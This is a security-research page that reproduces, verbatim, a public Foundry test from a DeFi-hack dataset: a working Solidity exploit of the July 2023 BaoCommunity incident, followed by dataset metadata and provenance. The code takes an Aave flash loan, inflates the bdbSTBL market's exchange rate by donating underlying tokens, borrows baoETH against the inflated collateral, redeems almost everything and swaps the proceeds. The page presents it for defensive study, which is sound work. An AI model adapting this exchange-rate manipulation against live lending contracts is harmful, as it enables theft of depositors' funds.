Public reproduction file
src/test/2023-07/Bao_exp.sol
Public reproduction file for dataset entry BaoCommunity.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~46K USD$8// Attacker : https://etherscan.io/address/0x00693a01221a5e93fb872637e3a9391ef5f483009// Attack Contract : https://etherscan.io/address/0x3f99d5cd830203a3027eb0ed6548db7f81c3408f10// Vulnerable Contract : https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e11// Attack Tx : https://etherscan.io/tx/0xdd7dd68cd879d07cfc2cb74606baa2a5bf18df0e3bda9f6b43f904f4f7bbdfc113// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e#code16// @Analysis17// Twitter Guy : https://twitter.com/PeckShieldAlert/status/167622439724845465719// @similar event20// https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf3322interface IbSTBL is IERC20 {23 function joinPool(24 uint25625 ) external;26 function exitPool(27 uint25628 ) external;29}31interface IbdbSTBL is IERC20 {32 function mint(uint256, bool) external;33 function redeem(34 uint256 redeemTokens35 ) external;36 function redeemUnderlying(37 uint256 redeemAmount38 ) external;39}41contract ContractTest is Test {42 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);43 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);44 IERC20 aDAI = IERC20(0x028171bCA77440897B824Ca71D1c56caC55b68A3);45 IERC20 aUSDC = IERC20(0xBcca60bB61934080951369a648Fb03DF4F96263C);46 IERC20 FiatToken = IERC20(0xa2327a938Febf5FEC13baCFb16Ae10EcBc4cbDCF);47 IERC20 AToken1 = IERC20(0x1C050bCa8BAbe53Ef769d0d2e411f556e1a27E7B);48 IERC20 AToken2 = IERC20(0x7b2a3CF972C3193F26CdeC6217D27379b6417bD0);49 IERC20 Facet = IERC20(0xa6969A3f8B4E32204DBC1D83C21443D303b840e5);50 IbSTBL bSTBL = IbSTBL(0x5ee08f40b637417bcC9d2C51B62F4820ec9cF5D8);51 IERC20 baoETH = IERC20(0xf4edfad26EE0D23B69CA93112eccE52704E0006f);52 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);53 IbdbSTBL bdbSTBL = IbdbSTBL(0xb0f8Fe96b4880adBdEDE0dDF446bd1e7EF122C4e);54 ICErc20Delegate bdbaoETH = ICErc20Delegate(0xe853E5c1eDF8C51E81bAe81D742dd861dF596DE7);55 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);56 Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);57 IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);59 function setUp() public {60 vm.createSelectFork("mainnet", 17_620_870);61 vm.label(address(USDC), "USDC");62 vm.label(address(DAI), "DAI");63 vm.label(address(aDAI), "aDAI");64 vm.label(address(aUSDC), "aUSDC");65 vm.label(address(AToken1), "AToken1");66 vm.label(address(AToken2), "AToken2");67 vm.label(address(bSTBL), "bSTBL");68 vm.label(address(baoETH), "baoETH");69 vm.label(address(bdbSTBL), "bdbSTBL");70 vm.label(address(bdbaoETH), "bdbaoETH");71 vm.label(address(WETH), "WETH");72 vm.label(address(Balancer), "Balancer");73 vm.label(address(Router), "Router");74 vm.label(address(AaveV2), "AaveV2");75 }77 function testExploit() external {78 // FiatToken.approve(address(USDC), type(uint256).max);79 // AToken1.approve(address(aUSDC), type(uint256).max);80 // AToken2.approve(address(aDAI), type(uint256).max);81 // Facet.approve(address(bSTBL), type(uint256).max);82 USDC.approve(address(AaveV2), type(uint256).max);83 DAI.approve(address(AaveV2), type(uint256).max);84 aUSDC.approve(address(bSTBL), type(uint256).max);85 aDAI.approve(address(bSTBL), type(uint256).max);86 bSTBL.approve(address(bdbSTBL), type(uint256).max);87 baoETH.approve(address(Balancer), type(uint256).max);88 WETH.approve(address(Router), type(uint256).max);90 address[] memory assets = new address[](2);91 assets[0] = address(USDC);92 assets[1] = address(DAI);93 uint256[] memory amounts = new uint256[](2);94 amounts[0] = 17_550_000 * 1e6;95 amounts[1] = 17_510_000 * 1e18;96 uint256[] memory modes = new uint256[](2);97 modes[0] = 0;98 modes[1] = 0;99 AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);101 emit log_named_decimal_uint(102 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()103 );104 }106 function executeOperation(107 address[] calldata assets,108 uint256[] calldata amounts,109 uint256[] calldata premiums,110 address initiator,111 bytes calldata params112 ) external payable returns (bool) {113 AaveV2.deposit(address(USDC), amounts[0], address(this), 0);114 AaveV2.deposit(address(DAI), amounts[1], address(this), 0);115 bSTBL.joinPool(34_819_000 * 1e18 + 1); // mint bdbSTBL underlyingtoken with USDC and DAI117 bdbSTBL.mint(1, true); // mint 5 bdbSTBL118 bdbSTBL.redeem(3); // redeem 3 bdbSTBL, remain 2 bdbSTBL120 bSTBL.transfer(address(bdbSTBL), 34_819_000 * 1e18); // donate underlyingtoken to inflate bdbSTBL exchangeRate121 bdbaoETH.borrow(41.3 ether);122 bdbSTBL.redeemUnderlying(34_819_000 * 1e18); //redeem almost all underlyingtoken124 bSTBL.exitPool(34_819_000 * 1e18); // burn underlyingtoken to get USDC and DAI126 AaveV2.withdraw(address(USDC), amounts[0] - 1, address(this));127 AaveV2.withdraw(address(DAI), amounts[1] - 1, address(this));129 swapbaoETHToUSDCAndDAI();130 return true;131 }133 function swapbaoETHToUSDCAndDAI() internal {134 IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({135 poolId: 0x1a44e35d5451e0b78621a1b3e7a53dfaa306b1d000000000000000000000051b,136 kind: IBalancerVault.SwapKind.GIVEN_IN,137 assetIn: address(baoETH),138 assetOut: address(WETH),139 amount: baoETH.balanceOf(address(this)),140 userData: new bytes(0)141 });142 IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({143 sender: address(this),144 fromInternalBalance: false,145 recipient: payable(address(this)),146 toInternalBalance: false147 });148 Balancer.swap(singleSwap, funds, 39 ether, block.timestamp);150 Uni_Router_V3.ExactOutputSingleParams memory _Param1 = Uni_Router_V3.ExactOutputSingleParams({151 tokenIn: address(WETH),152 tokenOut: address(USDC),153 fee: 500,154 recipient: address(this),155 deadline: block.timestamp,156 amountOut: 15_795 * 1e6 + 10,157 amountInMaximum: type(uint256).max,158 sqrtPriceLimitX96: 0159 });160 Router.exactOutputSingle(_Param1);161 Uni_Router_V3.ExactOutputSingleParams memory _Param2 = Uni_Router_V3.ExactOutputSingleParams({162 tokenIn: address(WETH),163 tokenOut: address(DAI),164 fee: 500,165 recipient: address(this),166 deadline: block.timestamp,167 amountOut: 15_759 * 1e18 + 10,168 amountInMaximum: type(uint256).max,169 sqrtPriceLimitX96: 0170 });171 Router.exactOutputSingle(_Param2);172 }173}Analysis
Dataset entry
Public Foundry test for “BaoCommunity” (2023-07-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x00693a01221a5e93fb872637e3a9391ef5f48300
- Attack Contract
0x3f99d5cd830203a3027eb0ed6548db7f81c3408f
- Vulnerable Contract
0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e
- Attack Tx
0xdd7dd68cd879d07cfc2cb74606baa2a5bf18df0e3bda9f6b43f904f4f7bbdfc1
- Twitter: https://twitter.com/PeckShieldAlert/status/1676224397248454657
- Explorer: https://etherscan.io/address/0x00693a01221a5e93fb872637e3a9391ef5f48300
- Explorer: https://etherscan.io/address/0x3f99d5cd830203a3027eb0ed6548db7f81c3408f
- Explorer: https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e
- Explorer: https://etherscan.io/address/0xb0f8fe96b4880adbdede0ddf446bd1e7ef122c4e#code
File record
- Name
- BaoCommunity
- Path
- src/test/2023-07/Bao_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- fc4c544bb44cb1494bbf1d8cc4d34b83a916940a
- Language
- Solidity
- Size
- 174 lines
- Date
- 2023-07-04
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Bao_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fc4c544bb44cb1494bbf1d8cc4d34b83a916940a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.